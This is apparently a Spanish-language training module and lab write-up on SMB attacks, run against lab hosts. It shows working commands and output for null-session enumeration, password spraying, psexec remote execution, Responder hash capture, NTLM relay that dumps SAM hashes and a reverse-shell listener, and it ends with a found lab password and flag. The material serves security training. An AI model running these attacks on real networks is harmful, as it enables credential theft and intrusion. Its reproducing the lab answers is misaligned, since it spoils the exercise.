Server Message Block (SMB) es un protocolo de comunicación creado para proporcionar acceso compartido a archivos e impresoras entre nodos de una red. Inicialmente, fue diseñado para ejecutarse sobre NetBIOS sobre TCP/IP (NBT) usando el puerto TCP 139 y los puertos UDP 137 y 138. Sin embargo, con Windows 2000, Microsoft agregó la opción de ejecutar SMB directamente sobre TCP/IP en el puerto 445 sin la capa NetBIOS adicional. Hoy en día, los sistemas operativos Windows modernos utilizan SMB sobre TCP pero aún admiten la implementación de NetBIOS como conmutación por error.
Otro protocolo que comúnmente se relaciona con SMB es MSRPC (Llamada a procedimiento remoto de Microsoft) . RPC proporciona al desarrollador de aplicaciones una forma genérica de ejecutar un procedimiento (también conocido como función) en un proceso local o remoto sin tener que comprender los protocolos de red utilizados para admitir la comunicación, como se especifica en MS-RPCE , que define un protocolo RPC sobre SMB. que puede utilizar canalizaciones con nombre del protocolo SMB como transporte subyacente.
Enumeración
Dependiendo de la implementación de SMB y del sistema operativo, obtendremos información diferente usando Nmap. Tenga en cuenta que cuando se selecciona el sistema operativo Windows, la información de la versión generalmente no se incluye como parte de los resultados del análisis de Nmap. En cambio, Nmap intentará adivinar la versión del sistema operativo. Sin embargo, a menudo necesitaremos otros análisis para identificar si el objetivo es vulnerable a un exploit en particular. Cubriremos la búsqueda de vulnerabilidades conocidas más adelante en esta sección. Por ahora, escaneemos los puertos 139 y 445 TCP.
afsh4ck@kali$ sudo nmap 10.129.14.128 -sV -sC -p139,445
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 15:15 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 00:00:00:00:00:00 (VMware)
Host script results:
|_nbstat: NetBIOS name: HTB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-19T13:16:04
|_ start_date: N/A
El escaneo de Nmap revela información esencial sobre el objetivo:
Versión SMB (Samba smbd 4.6.2)
Nombre de host HTB
El sistema operativo es Linux basado en la implementación de SMB.
Exploremos algunas configuraciones erróneas comunes y ataques específicos de protocolos.
Configuraciones erróneas
SMB se puede configurar para que no requiera autenticación, lo que a menudo se denomina null session. En cambio, podemos iniciar sesión en un sistema sin nombre de usuario ni contraseña.
Autenticación anónima
Si encontramos un servidor SMB que no requiere un nombre de usuario y contraseña o encontramos credenciales válidas, podemos obtener una lista de recursos compartidos, nombres de usuarios, grupos, permisos, políticas, servicios, etc. La mayoría de las herramientas que interactúan con SMB permiten conectividad de sesión nula, incluyendo smbclient, smbmap, rpcclient, o enum4linux. Exploremos cómo podemos interactuar con archivos compartidos y RPC usando autenticación nula.
Recursos compartidos
Usando smbclient podemos mostrar una lista de los recursos compartidos del servidor con la opción -L, y usando la opción -N le decimos que smbclient use la sesión nula.
afsh4ck@kali$ smbclient -N -L //10.129.14.128
Sharename Type Comment
------- -- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
notes Disk CheckIT
IPC$ IPC IPC Service (DEVSM)
SMB1 disabled no workgroup available
Smbmap es otra herramienta que nos ayuda a enumerar recursos compartidos de red y acceder a los permisos asociados. Una ventaja de smbmap es que proporciona una lista de permisos para cada carpeta compartida.
afsh4ck@kali$ smbmap -H 10.129.14.128
[+] IP: 10.129.14.128:445 Name: 10.129.14.128
Disk Permissions Comment
-- --------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY IPC Service (DEVSM)
notes READ, WRITE CheckIT
Usando la opción -r o -R(recursiva) en smbmap, se puede navegar por los directorios:
Podemos utilizar rpcclient con una sesión nula para enumerar una estación de trabajo o controlador de dominio.
rpcclient nos ofrece muchos comandos diferentes para ejecutar funciones específicas en el servidor SMB para recopilar información o modificar atributos del servidor como un nombre de usuario. Podemos utilizar esta hoja de referencia del Instituto SANS o revisar la lista completa de todas estas funciones que se encuentra en la página de manual del archivo rpcclient.
Enum4linuxes otra utilidad que admite sesiones nulas y utiliza nmblookup, net, rpcclienty smbclientpara automatizar algunas enumeraciones comunes de objetivos SMB como:
afsh4ck@kali$ ./enum4linux-ng.py 10.10.11.45 -A -C
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.45
[*] Username ......... ''
[*] Random Username .. 'noyyglci'
[*] Password ......... ''
====================================
| Service Scan on 10.10.11.45 |
====================================
[*] Checking LDAP (timeout: 5s)
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS (timeout: 5s)
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB (timeout: 5s)
[*] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS (timeout: 5s)
[*] SMB over NetBIOS is accessible on 139/tcp
===================================================
| NetBIOS Names and Workgroup for 10.10.11.45 |
===================================================
[*] Got domain/workgroup name: WORKGROUP
[*] Full NetBIOS names information:
- WIN-752039204 <00> - B <ACTIVE> Workstation Service
- WORKGROUP <00> - B <ACTIVE> Workstation Service
- WIN-752039204 <20> - B <ACTIVE> Workstation Service
- MAC Address = 00-0C-29-D7-17-DB
...
========================================
| SMB Dialect Check on 10.10.11.45 |
========================================
<SNIP>
Ataques específicos del protocolo
Si no se habilita una sesión nula, necesitaremos credenciales para interactuar con el protocolo SMB. Dos formas comunes de obtener credenciales son la fuerza bruta y la pulverización de contraseñas .
Fuerza bruta y Password Spraying
Cuando utilizamos la fuerza bruta, probamos tantas contraseñas como sea posible en una cuenta, pero podemos bloquearla si alcanzamos el umbral. Podemos utilizar la fuerza bruta y detenernos antes de alcanzar el umbral si lo sabemos. De lo contrario, no recomendamos utilizar la fuerza bruta.
La pulverización de contraseñas es una mejor alternativa ya que podemos apuntar a una lista de nombres de usuario con una contraseña común para evitar bloqueos de cuentas. Podemos probar más de una contraseña si conocemos el umbral de bloqueo de la cuenta. Normalmente, dos o tres intentos son seguros, siempre que esperemos entre 30 y 60 minutos entre intentos. Exploremos la herramienta CrackMapExec que incluye la capacidad de ejecutar la pulverización de contraseñas.
Con CrackMapExec (CME), podemos apuntar a múltiples IP, utilizando numerosos usuarios y contraseñas. Exploremos un caso de uso cotidiano para la pulverización de contraseñas. Para realizar una pulverización de contraseña contra una IP, podemos usar la opción -u para especificar un archivo con una lista de usuarios y -p para especificar una contraseña. Esto intentará autenticar a todos los usuarios de la lista utilizando la contraseña proporcionada.
Nota: De forma predeterminada, CME se cerrará después de que se encuentre un inicio de sesión exitoso. El uso de la opción --continue-on-success continuará apareciendo incluso después de que se encuentre una contraseña válida. Es muy útil para asignar una única contraseña a una gran lista de usuarios. Además, si nos dirigimos a una computadora que no está unida a un dominio, necesitaremos usar la opción --local-auth. Para obtener un estudio más detallado sobre la pulverización de contraseñas, consulte el módulo Enumeración y ataques de Active Directory.
Para obtener instrucciones de uso más detalladas, consulte la guía de documentación de la herramienta .
SMB
Los servidores SMB de Linux y Windows ofrecen diferentes rutas de ataque. Por lo general, solo obtendremos acceso al sistema de archivos, abusaremos de privilegios o explotaremos vulnerabilidades conocidas en un entorno Linux, como veremos más adelante en esta sección. Sin embargo, en Windows, la superficie de ataque es más significativa.
Al atacar un servidor SMB de Windows, nuestras acciones estarán limitadas por los privilegios que teníamos sobre el usuario que logramos comprometer. Si este usuario es Administrador o tiene privilegios específicos podremos realizar operaciones como:
Ejecución remota de comandos
Extraer hashes de la base de datos SAM
Enumeración de usuarios conectados
Pasar el hash (PTH)
Analicemos cómo podemos realizar tales operaciones. Además, aprenderemos cómo se puede abusar del protocolo SMB para recuperar el hash de un usuario como método para escalar privilegios u obtener acceso a una red.
Ejecución remota de código (RCE)
Antes de pasar a cómo ejecutar un comando en un sistema remoto usando SMB, hablemos de Sysinternals. El sitio web Windows Sysinternals fue creado en 1996 por Mark Russinovich y Bryce Cogswell para ofrecer recursos técnicos y utilidades para administrar, diagnosticar, solucionar problemas y monitorear un entorno de Microsoft Windows. Microsoft adquirió Windows Sysinternals y sus activos el 18 de julio de 2006.
Sysinternals presentó varias herramientas gratuitas para administrar y monitorear computadoras que ejecutan Microsoft Windows. El software ahora se puede encontrar en el sitio web de Microsoft . Una de esas herramientas gratuitas para administrar sistemas remotos es PsExec.
PsExec es una herramienta que nos permite ejecutar procesos en otros sistemas, con total interactividad para aplicaciones de consola, sin tener que instalar el software cliente manualmente. Funciona porque tiene una imagen de servicio de Windows dentro de su ejecutable. Toma este servicio y lo implementa en el recurso compartido admin$ (de forma predeterminada) en la máquina remota. Luego utiliza la interfaz DCE/RPC a través de SMB para acceder a la API del Administrador de control de servicios de Windows. A continuación, inicia el servicio PSExec en la máquina remota. Luego, el servicio PSExec crea una canalización con nombre que puede enviar comandos al sistema.
Podemos descargar PsExec desde el sitio web de Microsoft , o podemos usar algunas implementaciones de Linux:
Impacket SMBExec : un enfoque similar a PsExec sin utilizar RemComSvc . La técnica se describe aquí. Esta implementación va un paso más allá y crea una instancia de un servidor SMB local para recibir el resultado de los comandos. Esto es útil cuando la máquina de destino NO tiene un recurso compartido grabable disponible.
Impacket atexec : este ejemplo ejecuta un comando en la máquina de destino a través del servicio Programador de tareas y devuelve el resultado del comando ejecutado.
CrackMapExec : incluye una implementación de smbexecy atexec.
Para usar impacket-psexec, debemos proporcionar el dominio/nombre de usuario, la contraseña y la dirección IP de nuestra máquina de destino. Para obtener información más detallada podemos utilizar la ayuda de impacket:
afsh4ck@kali$ impacket-psexec -h
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
target [command ...]
PSEXEC like functionality example using RemComSvc.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)
optional arguments:
-h, --help show this help message and exit
-c pathname copy the filename for later execution, arguments are passed in the command option
-path PATH path of the command to execute
-file FILE alternative RemCom binary (be sure it doesn't require CRT)
-ts adds timestamp to every logging output
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-keytab KEYTAB Read keys for SPN from keytab file
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
it
-port [destination port]
Destination port to connect to SMB Server
-service-name service_name
The name of the service used to trigger the payload
-remote-binary-name remote_binary_name
This will be the name of the executable uploaded on the target
Para conectarse a una máquina remota con una cuenta de administrador local, usando impacket-psexec, puede usar el siguiente comando:
afsh4ck@kali$ impacket-psexec administrator:'Password123!'@10.10.110.17
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami && hostname
nt authority\system
WIN7BOX
Las mismas opciones se aplican a impacket-smbexec y impacket-atexec.
CrackMapExec
Otra herramienta que podemos utilizar para ejecutar CMD o PowerShell es CrackMapExec. Una ventaja CrackMapExeces la disponibilidad para ejecutar un comando en varios hosts a la vez. Para usarlo, debemos especificar el protocolo smb, la dirección IP o el rango de direcciones IP, la opción -u de nombre de usuario y -p contraseña, y la opción -x de ejecutar comandos cmd o mayúsculas -X para ejecutar comandos de PowerShell.
Nota: Si --exec-methodno está definido, CrackMapExec intentará ejecutar el método atexec; si falla, puede intentar especificar --exec-methodsmbexec.
Enumeración de usuarios logueados
Imaginemos que estamos en una red con varias máquinas. Algunos de ellos comparten la misma cuenta de administrador local. En este caso, podríamos utilizar CrackMapExec para enumerar los usuarios que han iniciado sesión en todas las máquinas dentro de la misma red 10.10.110.17/24, lo que acelera nuestro proceso de enumeración.
El Administrador de cuentas de seguridad (SAM) es un archivo de base de datos que almacena las contraseñas de los usuarios. Se puede utilizar para autenticar usuarios locales y remotos. Si obtenemos privilegios administrativos en una máquina, podemos extraer los hashes de la base de datos SAM para diferentes propósitos:
Autenticarse como otro usuario.
Cracking de contraseñas: si logramos descifrar la contraseña, podemos intentar reutilizarla para otros servicios o cuentas.
Pass the Hash: Lo discutiremos más adelante en esta sección.
Si logramos obtener un hash NTLM de un usuario y no podemos descifrarlo, aún podemos usar el hash para autenticarnos a través de SMB con una técnica llamada Pass-the-Hash (PtH). PtH permite a un atacante autenticarse en un servidor o servicio remoto utilizando el hash NTLM subyacente de la contraseña de un usuario en lugar de la contraseña en texto plano. Podemos utilizar un ataque PtH con cualquier herramienta cómo Impacket, SMBMap, CrackMapExec, entre otras. A continuación se muestra un ejemplo de cómo funcionaría esto con CrackMapExec:
También podemos abusar del protocolo SMB creando un servidor SMB falso para capturar los hashes NetNTLM v1/v2 de los usuarios .
La herramienta más común para realizar este tipo de operaciones es Responder. Responder es una herramienta de envenenamiento LLMNR, NBT-NS y MDNS con diferentes capacidades, una de ellas es la posibilidad de configurar servicios falsos, incluido SMB, para robar hashes NetNTLM v1/v2. En su configuración predeterminada, encontrará tráfico LLMNR y NBT-NS. Luego, responderá en nombre de los servidores que la víctima está buscando y capturará sus hashes NetNTLM.
Ilustremos un ejemplo para entender mejor cómo funciona Responder. Imaginemos que creamos un servidor SMB falso usando la configuración predeterminada de Responder, con el siguiente comando:
afsh4ck@kali$ responder -I <interface name>
Cuando un usuario o un sistema intenta realizar una resolución de nombre (NR), una máquina lleva a cabo una serie de procedimientos para recuperar la dirección IP de un host por su nombre de host. En máquinas con Windows, el procedimiento será aproximadamente el siguiente:
Se requiere la dirección IP del recurso compartido de archivos del nombre de host.
Se comprobará si hay registros adecuados en el archivo del host local (C:\Windows\System32\Drivers\etc\hosts).
Si no se encuentran registros, la máquina cambia al caché DNS local, que realiza un seguimiento de los nombres resueltos recientemente.
¿No hay ningún registro DNS local? Se enviará una consulta al servidor DNS que se haya configurado.
Si todo lo demás falla, la máquina emitirá una consulta de multidifusión, solicitando la dirección IP del archivo compartido de otras máquinas en la red.
Supongamos que un usuario escribió mal el nombre de una carpeta compartida \\mysharefoder\en lugar de \\mysharedfolder\. En ese caso, todas las resoluciones de nombres fallarán porque el nombre no existe y la máquina enviará una consulta de multidifusión a todos los dispositivos de la red, incluidos nosotros que ejecutamos nuestro servidor SMB falso. Esto es un problema porque no se toman medidas para verificar la integridad de las respuestas. Los atacantes pueden aprovechar este mecanismo escuchando dichas consultas y falsificando respuestas, lo que lleva a la víctima a creer que los servidores maliciosos son dignos de confianza. Esta confianza se suele utilizar para robar credenciales.
afsh4ck@kali$ sudo responder -I ens33
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.198]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-2TY1Z1CIGXH]
Responder Domain Name [HF2L.LOCAL]
Responder DCE-RPC Port [48162]
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000
Estas credenciales capturadas se pueden descifrar mediante hashcat o transmitirse a un host remoto para completar la autenticación y hacerse pasar por el usuario.
Todos los Hashes guardados se encuentran en el directorio de registros de Responder ( /usr/share/responder/logs/). Podemos copiar el hash a un archivo e intentar descifrarlo usando el módulo hashcat 5600.
Nota: Si observa varios hashes para una cuenta, esto se debe a que NTLMv2 utiliza un desafío tanto del lado del cliente como del lado del servidor que es aleatorio para cada interacción. Esto hace que los hashes resultantes que se envían se agreguen una cadena aleatoria de números. Es por eso que los hashes no coinciden pero siguen representando la misma contraseña.
El hash NTLMv2 fue descifrado. La contraseña es P@ssword. Si no podemos descifrar el hash, potencialmente podemos transmitir el hash capturado a otra máquina usando impacket-ntlmrelayx o Responder MultiRelay.py . Veamos un ejemplo usando impacket-ntlmrelayx.
Primero, debemos configurar SMB OFF en nuestro archivo de configuración de respuesta ( /etc/responder/Responder.conf).
afsh4ck@kali$ cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Off
Luego ejecutamos impacket-ntlmrelayx con la opción --no-http-server, -smb2support y la máquina de destino con la opción -t. Por defecto impacket-ntlmrelayx volcará la base de datos SAM, pero podremos ejecutar comandos añadiendo la opción -c.
afsh4ck@kali$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
<SNIP>
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, attacking target smb://10.10.110.146
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xeb0432b45874953711ad55884094e9d4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92512f2605074cfc341a7f16e5fabf08:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Done dumping SAM hashes for host: 10.10.110.146
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Podemos crear un reverse shell de PowerShell usando https://www.revshells.com/ , configurar la dirección IP de nuestra máquina, el puerto y la opción Powershell #3 (Base64).
Una vez que la víctima se autentica en nuestro servidor, envenenamos la respuesta y hacemos que ejecute nuestro comando para obtener un shell inverso.
afsh4ck@kali$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471
PS C:\Windows\system32> whoami;hostname
nt authority\system
WIN11BOX
RPC
En el módulo Enumeración , analizamos cómo enumerar una máquina usando RPC. Además de la enumeración, podemos usar RPC para realizar cambios en el sistema, como por ejemplo:
Cambiar la contraseña de un usuario.
Cree un nuevo usuario de dominio.
Crea una nueva carpeta compartida.
Tenga en cuenta que se requieren algunas configuraciones específicas para permitir este tipo de cambios a través de RPC. Podemos usar la página de manual de rpclient o SMB Access desde Linux Cheat Sheet del SANS Institute para explorar esto más a fondo.
Cheatsheet
Comando
Descripción
smbclient -N -L //10.129.14.128
Pruebas de sesión nula contra el servicio SMB.
smbmap -H 10.129.14.128
Enumeración de recursos compartidos de red mediante smbmap
smbmap -H 10.129.14.128 -r notes
Enumeración recursiva de recursos compartidos de red mediante smbmap
La carpeta compartida con permisos de LECTURA es: GGJ
smbclient -U aartjan \\\\10.129.12.72\\GGJ
Password for [WORKGROUP\aartjan]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 19 23:33:55 2022
.. D 0 Mon Apr 18 19:08:30 2022
id_rsa N 3381 Tue Apr 19 23:33:04 2022
14384136 blocks of size 1024. 10079732 blocks available
smb: \> get id_rsa
NT_STATUS_ACCESS_DENIED opening remote file \id_rsa
Al acceder con smbclient vemos que hay un id_rsa para acceder por SSH, pero que no podemos descargar.
Pregunta 2
¿Cuál es la contraseña del usuario "jason"?
Al ejecutar enum4linux observamos que hay varios usuarios y nos da info relevante sobre el dominio:
enum4linux -a 10.129.12.72
=======================( Target Information )========================
Target ........... 10.129.197.206
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
================( OS information on 10.129.197.206 )==================
[+] Got OS info for 10.129.197.206 from srvinfo:
ATTCSVC-LINUX Wk Sv PrQ Unx NT SNT attcsvc-linux Samba
platform_id : 500
os version : 6.1
server type : 0x809a03
====================( Users on 10.129.197.206 )=======================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: jason Name: Desc:
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: robin Name: Desc:
user:[jason] rid:[0x3e8]
user:[robin] rid:[0x3e9]
Vamos a hacer bruteforce contra el usuario jason utilizando el flag --local-auth:
Obtenemos la contraseña del usuario jason: 34c8zuNBo91!@28Bszh 🏆
Pregunta 3
Inicie sesión como usuario "jason" a través de SSH y busque el archivo flag.txt. Envíe el contenido como respuesta.
Como vimos anteriormente, en la carpeta compartida GGJ había un id_rsa, pero que no nos podíamos descargar por no tener los permisos necesarios:
smbclient -U aartjan \\\\10.129.12.72\\GGJ
Password for [WORKGROUP\aartjan]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 19 23:33:55 2022
.. D 0 Mon Apr 18 19:08:30 2022
id_rsa N 3381 Tue Apr 19 23:33:04 2022
14384136 blocks of size 1024. 10079732 blocks available
smb: \> get id_rsa
NT_STATUS_ACCESS_DENIED opening remote file \id_rsa
Vamos a intentar acceder con el usuario jason y ver si lo podemos descargar:
smbclient -U jason -W ATTCSVC-LINUX //10.129.12.72/GGJ
Password for [ATTCSVC-LINUX\jason]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 19 23:33:55 2022
.. D 0 Mon Apr 18 19:08:30 2022
id_rsa N 3381 Tue Apr 19 23:33:04 2022
14384136 blocks of size 1024. 10087972 blocks available
smb: \> get id_rsa
getting file \id_rsa of size 3381 as id_rsa (17,9 KiloBytes/sec) (average 17,9 KiloBytes/sec)
smb: \>
Buum!! Nos conseguimos descargar el id_rsa, por lo que vamos a poder conectarnos por SSH sin contraseña de la siguiente manera:
chmod 400 id_rsa
ssh -i id_rsa jason@10.129.12.72
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 24 Apr 2024 02:48:49 PM UTC
System load: 0.0 Processes: 230
Usage of /: 25.4% of 13.72GB Users logged in: 0
Memory usage: 14% IPv4 address for ens160: 10.129.203.6
Swap usage: 0%
0 updates can be applied immediately.
Last login: Tue Apr 19 21:50:46 2022 from 10.10.14.20
$ ls
flag.txt
$ cat flag.txt
HTB{SMB_4TT4CKS_2349872359}
Conseguido! Hemos accedido correctamente por SSH y hemos obtenido la flag.